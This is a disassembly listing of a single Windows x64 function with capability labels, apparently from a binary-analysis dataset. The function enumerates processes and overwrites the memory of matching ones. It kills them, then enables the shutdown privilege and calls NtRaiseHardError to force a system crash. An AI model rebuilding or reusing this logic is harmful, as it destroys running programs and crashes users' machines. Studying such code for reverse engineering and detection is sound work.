Function at 0x1400cc640
Capabilities:
Encode data using xor
Enumerate processes
Terminate process

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x5a0]
sub rsp, 0x6a0
mov rax, qword [0x1403a05a0]
xor rax, rsp
mov qword [rbp + 0x590], rax
mov r12, rdx
mov rdi, rcx
mov qword [rsp + 0x48], rcx
xor r15d, r15d
mov dword [rsp + 0x44], r15d
xor r14b, r14b
mov byte [rsp + 0x40], r14b
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rsi, rax
mov qword [rsp + 0x50], rax
cmp rax, 0xffffffffffffffff
je 0x1400ccc10
mov dword [rbp - 0x80], 0x238
lea rdx, [rbp - 0x80]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
lea r13, [r15 - 1]
test eax, eax
je 0x1400ccb94
nop dword [rax + rax]
lea r8, [rbp - 0x54]
mov edx, 0x104
lea rcx, [rbp + 0x380]
call fcn.1402930f0
mov edx, 0x104
lea rcx, [rbp + 0x380]
call fcn.140293698
mov qword [rsp + 0x38], r15
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], 0x104
lea rax, [rbp + 0x270]
mov qword [rsp + 0x20], rax
mov r9d, r13d
lea r8, [rbp + 0x380]
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov rcx, r12
call fcn.140293158
mov rcx, rax
call fcn.1402933f4
mov rdx, rax
lea rcx, [rbp + 0x270]
call fcn.140274dc4
test rax, rax
je 0x1400ccb79
mov byte [rsp + 0x40], 1
mov rbx, qword [rdi]
mov qword [rbp + 0x1c0], r15
mov qword [rbp + 0x1d0], r15
mov qword [rbp + 0x1d8], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x1c0], 0
mov r8, r13
nop
inc r8
cmp byte [r12 + r8], 0
jne 0x1400cc780
mov rdx, r12
lea rcx, [rbp + 0x1c0]
call fcn.1400a22c0
nop
lea r8, [rbp + 0x1c0]
lea rdx, [rsp + 0x70]
mov rcx, rbx
call fcn.1400ccfe0
mov rcx, qword [rax]
movzx ebx, byte [rcx + 0x30]
mov rdx, qword [rbp + 0x1d8]
cmp rdx, 0x10
jb 0x1400cc7f6
inc rdx
mov rcx, qword [rbp + 0x1c0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400cc7f1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400cccc6
call fcn.1402711ec
test bl, bl
jne 0x1400cc9c6
call qword [sym.imp.USER32.dll_GetForegroundWindow]
mov dword [rsp + 0x30], 3
mov dword [rsp + 0x28], r15d
mov dword [rsp + 0x20], r15d
xor r9d, r9d
xor r8d, r8d
mov rdx, r13
mov rcx, rax
call qword [sym.imp.USER32.dll_SetWindowPos]
movdqa xmm0, xmmword [0x14036e4b0]
movdqu xmmword [rbp + 0x1c0], xmm0
mov word [rbp + 0x1d0], 0x100
mov rcx, r15
nop dword [rax]
nop dword [rax + rax]
lea eax, [rcx + 0x5b]
xor byte [rbp + rcx + 0x1c0], al
inc rcx
cmp rcx, 0x10
jb 0x1400cc850
mov byte [rbp + 0x1d1], 0
movdqa xmm0, xmmword [0x14036e4c0]
movdqa xmmword [rbp + 0x1f0], xmm0
movdqa xmm1, xmmword [0x14036e4d0]
movdqa xmmword [rbp + 0x200], xmm1
movdqa xmm0, xmmword [0x14036e9c0]
movdqa xmmword [rbp + 0x210], xmm0
movdqa xmm1, xmmword [0x14036e980]
movdqa xmmword [rbp + 0x220], xmm1
movdqa xmm0, xmmword [0x14036e940]
movdqa xmmword [rbp + 0x230], xmm0
movdqa xmm1, xmmword [0x14036e920]
movdqa xmmword [rbp + 0x240], xmm1
movdqa xmm0, xmmword [0x14036e930]
movdqa xmmword [rbp + 0x250], xmm0
mov dword [rbp + 0x260], 0xa1a4b8aa
mov dword [rbp + 0x264], 0x100fea1
mov rcx, r15
lea eax, [rcx + 0x5b]
xor byte [rbp + rcx + 0x1f0], al
inc rcx
cmp rcx, 0x76
jb 0x1400cc8f1
mov byte [rbp + 0x267], 0
mov r9d, 0x40030
lea r8, [rbp + 0x1c0]
lea rdx, [rbp + 0x1f0]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rbx, qword [rdi]
mov qword [rbp + 0x1c0], r15
mov qword [rbp + 0x1d0], r15
mov qword [rbp + 0x1d8], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x1c0], 0
mov r8, r13
nop dword [rax]
inc r8
cmp byte [r12 + r8], 0
jne 0x1400cc950
mov rdx, r12
lea rcx, [rbp + 0x1c0]
call fcn.1400a22c0
nop
lea r8, [rbp + 0x1c0]
lea rdx, [rsp + 0x60]
mov rcx, rbx
call fcn.1400ccfe0
mov rcx, qword [rax]
mov byte [rcx + 0x30], 1
mov rdx, qword [rbp + 0x1d8]
cmp rdx, 0x10
jb 0x1400cc9c6
inc rdx
mov rcx, qword [rbp + 0x1c0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400cc9c1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400ccccc
call fcn.1402711ec
mov r8d, dword [rbp - 0x78]
xor edx, edx
lea ecx, [rdx + 0x29]
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov r14, rax
test rax, rax
je 0x1400ccb79
mov r9d, Ordinal_50
lea r8, [rbp + 0x1c0]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_VirtualQueryEx]
test rax, rax
je 0x1400ccb65
nop dword [rax]
nop word [rax + rax]
cmp dword [rbp + 0x1e0], 0x1000
jne 0x1400ccb2e
test byte [rbp + 0x1e4], 4
je 0x1400ccb2e
lea rax, [rsp + 0x44]
mov qword [rsp + 0x20], rax
mov r9d, 4
mov r8, qword [rbp + 0x1d8]
mov rdx, qword [rbp + 0x1c0]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
test eax, eax
je 0x1400ccb2e
mov rdi, qword [rbp + 0x1d8]
mov rbx, r15
mov rsi, r15
test rdi, rdi
je 0x1400ccad6
movabs rax, 0x7fffffffffffffff
cmp rdi, rax
ja 0x1400cccd8
cmp rdi, 0x1000
jb 0x1400ccab3
lea rcx, [rdi + 0x27]
cmp rcx, rdi
jbe 0x1400cccd2
call fcn.1402714fc
test rax, rax
je 0x1400cccde
lea rbx, [rax + 0x27]
and rbx, 0xffffffffffffffe0
mov qword [rbx - 8], rax
jmp 0x1400ccabe
mov rcx, rdi
call fcn.1402714fc
mov rbx, rax
lea rsi, [rbx + rdi]
mov r8, rdi
xor edx, edx
mov rcx, rbx
call fcn.140275d90
mov rdi, qword [rbp + 0x1d8]
lea rax, [rsp + 0x58]
mov qword [rsp + 0x20], rax
mov r9, rdi
mov r8, rbx
mov rdx, qword [rbp + 0x1c0]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test rbx, rbx
je 0x1400ccb2e
sub rsi, rbx
cmp rsi, 0x1000
jb 0x1400ccb23
add rsi, 0x27
mov rax, qword [rbx - 8]
sub rbx, rax
add rbx, 0xfffffffffffffff8
cmp rbx, 0x1f
ja 0x1400cccde
mov rbx, rax
mov rdx, rsi
mov rcx, rbx
call fcn.1402711ec
mov rdx, qword [rbp + 0x1d8]
add rdx, qword [rbp + 0x1c0]
mov r9d, Ordinal_50
lea r8, [rbp + 0x1c0]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualQueryEx]
test rax, rax
jne 0x1400cca10
mov rdi, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
xor edx, edx
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, [rbp - 0x80]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x1400cc6d0
movzx r14d, byte [rsp + 0x40]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test r14b, r14b
je 0x1400ccc10
mov rbx, qword [rdi]
mov qword [rbp + 0x1c0], r15
mov qword [rbp + 0x1d0], r15
mov qword [rbp + 0x1d8], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x1c0], 0
inc r13
cmp byte [r12 + r13], 0
jne 0x1400ccbc5
mov r8, r13
mov rdx, r12
lea rcx, [rbp + 0x1c0]
call fcn.1400a22c0
nop
mov r15d, 1
mov dword [rsp + 0x44], r15d
lea r8, [rbp + 0x1c0]
lea rdx, [rsp + 0x60]
mov rcx, rbx
call fcn.1400ccfe0
mov rcx, qword [rax]
cmp byte [rcx + 0x30], 0
je 0x1400ccc10
movzx ebx, r15b
jmp 0x1400ccc12
xor bl, bl
test r15b, 1
je 0x1400ccc55
mov rdx, qword [rbp + 0x1d8]
cmp rdx, 0x10
jb 0x1400ccc55
inc rdx
mov rcx, qword [rbp + 0x1c0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400ccc50
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400cccc0
call fcn.1402711ec
test bl, bl
je 0x1400ccc92
lea r9, [rsp + 0x40]
xor r8d, r8d
mov dl, 1
lea ecx, [r8 + 0x13]
call qword [sym.imp.ntdll.dll_RtlAdjustPrivilege]
lea rax, [rsp + 0x44]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 6
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov ecx, 0xc0000420
call qword [sym.imp.ntdll.dll_NtRaiseHardError]
movzx eax, r14b
mov rcx, qword [rbp + 0x590]
xor rcx, rsp
call fcn.140270e60
mov rbx, qword [rsp + 0x6f0]
add rsp, 0x6a0
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
call fcn.140290dbc
int3
call fcn.140290dbc
int3
call fcn.140290dbc
int3
call fcn.1400955c0
int3
call fcn.1400a02c0
int3
call fcn.140290dbc
int3